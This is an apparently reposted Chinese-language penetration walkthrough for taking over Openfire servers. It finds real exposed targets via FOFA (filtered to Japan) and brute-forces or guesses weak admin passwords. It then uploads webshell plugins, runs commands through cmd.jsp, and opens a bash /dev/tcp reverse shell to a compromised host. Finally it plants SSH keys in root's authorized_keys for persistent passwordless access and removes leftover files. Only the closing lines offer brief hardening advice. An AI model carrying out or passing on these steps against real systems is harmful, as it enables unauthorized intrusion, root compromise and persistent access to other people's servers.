OpenFire后台插件上传获取webshell及免密码登录linux服务器

1.目标获取

(1)fofa.so网站使用搜索body="Openfire,版本: " && country=JP,可以获取日本存在的Openfire服务器。如图1所示。

图1搜索目标

2.暴力或者使用弱口令登录系统

一般弱口令admin/admin、admin/admin888、admin/123456,如果不是这些请直接使用burpsuite进行暴力破解,能够正常访问的网站,如图2所示,openfire可能开放不同端口。

3.进入后台

输入密码正确后,如图3所示,进入后台,可以查看服务器设置,查看用户/用户群,查看会话,分组聊天以及插件等信息。

图3进入后台

4.查看并上传插件

单击插件,再其中可以看到所有的插件列表,在上传插件下单击上传插件,选择专门生成的openfire带webshell的插件,如图4所示。

图4上传插件

在本次测试中,从互联网收集了连个插件,如图5所示,均成功上传。

图5上传带webshell的插件

5.获取webshell

(1)helloworld插件获取webshell

单击服务器-服务器设置,如图6所示,如果helloworld插件上传并运行成功,则会在配置文件下面生成一个用户接口设置。单击该链接即可获取webshel,如图7所示。

图6查看服务器设置

图7获取webshell

(2)broadcast插件获取webshell

通过url+plugins/broadcast/webshell文件名称来和获取:

http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/cmd.jsp?cmd=whoami

http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/browser.jsp

在helloworld插件中也可以通过地址来获取

http://xxx.xxx.xxx.xxx:8080/plugins/helloworld/chakan.jsp

如图8,图9所示,分别获取broadcast的webshell以及查看当前用户权限为root。

图8获取当前用户权限

图9获取webshell

6.免root密码登录服务器

渗透到这里按照过去的思路应该已经结束,不过笔者还想尝试另外一种思路,虽然我们通过webshell可以获取/etc/shadow文件,但该root及其它用户的密码明显不是那么容易被破解的。服务器上面用ssh,能否利用公私钥来解决访问问题。

(1)反弹到肉鸡

图10监听8080端口

(2)反弹shell到肉鸡

执行命令“bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1”反弹到肉鸡,如图11所示,获取一个反弹shell。

图11反弹shell

7.实际操作流程

(1)远程服务器生成公私钥

在被渗透的服务器上执行“ssh-keygen -t rsa”命令,默认三次回车,如图12所示,会在root/.ssh/目录下生成id_rsa及id_rsa.pub,其中id_rsa为服务器私钥,特别重要,id_rsa.pub为公钥。

图12在远处服务器上生成公私钥

(2)本地linux上生成公私钥

在本地linux上执行命令 “ssh-keygen -t rsa”生成公私钥,将远程服务器的id_rsa下载到本地,执行命令“cat id_rsa >/root/.ssh/authorized_keys”命令,将远处服务器的私钥生成到authorized_keys文件。

(3)将本地公钥上传到远程服务器上并生成authorized_keys

cat id_rsa.pub >/root/.ssh/authorized_keys

(4)删除多余文件

rm id_rsa.pub

rm id_rsa

(5)登录服务器

图13成功登录对方服务器

8总结

(1)Openfire需要获取管理员帐号和密码,目前通杀所有帮本。Openfire最新版本为4.1.5.

(2)可以通过burpsuite进行admin管理员帐号的暴力破解。

(3)使用openfire安全加固,可以使用强密码,同时严格设置插件权限,建议除了必须的插件目录外,禁用新创建目录。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180105G0PPLA00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券